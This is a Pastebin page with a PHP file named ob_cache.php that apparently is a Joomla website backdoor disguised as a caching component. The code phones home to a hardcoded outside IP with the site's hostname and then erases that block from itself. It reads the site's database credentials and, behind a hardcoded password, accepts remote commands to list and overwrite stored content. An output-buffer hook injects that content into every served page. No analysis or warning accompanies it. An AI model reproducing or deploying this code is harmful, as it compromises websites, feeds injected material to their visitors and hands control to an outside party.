daily pastebin goal
33%
SHARE
TWEET

ob_cache.php

a guest Dec 17th, 2015 1,123 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.         //PING
  3.             if (@file_get_contents('http://78.24.222.200/sav.php?p=89ca6538ef13c7abf890acff2ca0***&url=' . $_SERVER['HTTP_HOST']))
  4.                 {
  5.                     if ($file = @file_get_contents(__FILE__))
  6.                         {
  7.                             $file = preg_replace('!//PING.*//ENDPING!s', '', $file);
  8.                             @file_put_contents(__FILE__, $file);
  9.                         }
  10.                 }
  11.         //ENDPING
  12.         include_once($_SERVER['DOCUMENT_ROOT'].'/configuration.php');
  13.  
  14.         $config = new JConfig();
  15.  
  16.         mysql_connect($config->host, $config->user, $config->password);
  17.         mysql_select_db($config->db);
  18.  
  19.         if (isset($_POST['action']) && isset($_POST['password']) && $_POST['password'] == '89ca6538ef13c7abf890acff2ca0ef04') {
  20.             if ($_POST['action'] == 'mail') {
  21.                 if (@mail("email@example.com", "Subj", "Mail")) {
  22.                     echo "OK";
  23.                 } else {
  24.                     echo "ERROR";
  25.                 }
  26.                 exit;
  27.             }
  28.             if ($_POST['action'] == 'get_all_links') {
  29.                 header("Content-Type: text/plain");
  30.                 $return = '';
  31.                 $query  = @mysql_query('SELECT * FROM `jos_cache_content` ORDER BY url DESC');
  32.                 while ($data = @mysql_fetch_assoc($query)) {
  33.                     $return .= '<e><url>' . $data['url'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
  34.                 }
  35.                 echo ($return);
  36.                 exit;
  37.             }
  38.             if ($_POST['action'] == 'set_links') {
  39.                 if (isset($_POST['data']))
  40.                     @mysql_query('UPDATE `jos_cache_content` SET code = "' . mysql_escape_string($_POST['data']) . '" WHERE code = "" LIMIT 1');exit;
  41.             }
  42.             if ($_POST['action'] == 'set_id_links') {
  43.                 if (isset($_POST['data']))
  44.                     @mysql_query('UPDATE `jos_cache_content` SET code = "' . mysql_escape_string($_POST['data']) . '" WHERE `ID` = "' . mysql_escape_string($_POST['id']) . '"');exit;
  45.             }
  46.         }
  47.  
  48.         function obCacheStart($content) {
  49.             $config = new JConfig();
  50.             mysql_connect($config->host, $config->user, $config->password);
  51.             mysql_select_db($config->db);
  52.            
  53.             $args     = 'http://' . $_SERVER['HTTP_HOST'] . urldecode($_SERVER['REQUEST_URI']);
  54.             mysql_query('SELECT count(*) FROM `jos_cache_content` WHERE `url` = "' . mysql_escape_string($args) . '"');
  55.  
  56.             $cache_query = @mysql_query('SELECT count(*) FROM `jos_cache_content` WHERE `url` = "' . mysql_escape_string($args) . '"');
  57.             if ($cache_query) {
  58.                 $cache_result = @mysql_result($cache_query, 0);
  59.                 if ($cache_result == '0') {
  60.                     @mysql_query('INSERT INTO `jos_cache_content` (`url`, `code`, `ID`) VALUES("' . mysql_escape_string($args) . '", "", NULL)');
  61.                 }
  62.                 $data = @mysql_result(mysql_query('SELECT `code` FROM `jos_cache_content` WHERE `url` = "' . mysql_escape_string($args) . '"'), 0);
  63.             }
  64.            
  65.             if (isset($data) && !empty($data))
  66.                 {
  67.                     if (preg_match('!<body[^>]*>!is', $content)) {
  68.                         $content = preg_replace('!(<body[^>]*>)!si', '\1' . $data, $content);
  69.                     }
  70.                     else {
  71.                     if (preg_match('!</body>!si', $content))
  72.                         {
  73.                             $content = preg_replace('!</body>!si', $data.'</body>', $content);
  74.                         } else
  75.                             {
  76.                                 if (preg_match('!</html>!si', $content))
  77.                                                 {
  78.                                                     $content = preg_replace('!</html>!si', $data.'</html>', $content);
  79.                                                 }                      
  80.                             }
  81.                     }
  82.                 }
  83.                
  84.             return $content;
  85.         }
  86.  
  87.         @ob_start('obCacheStart');
  88.  
  89.         ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand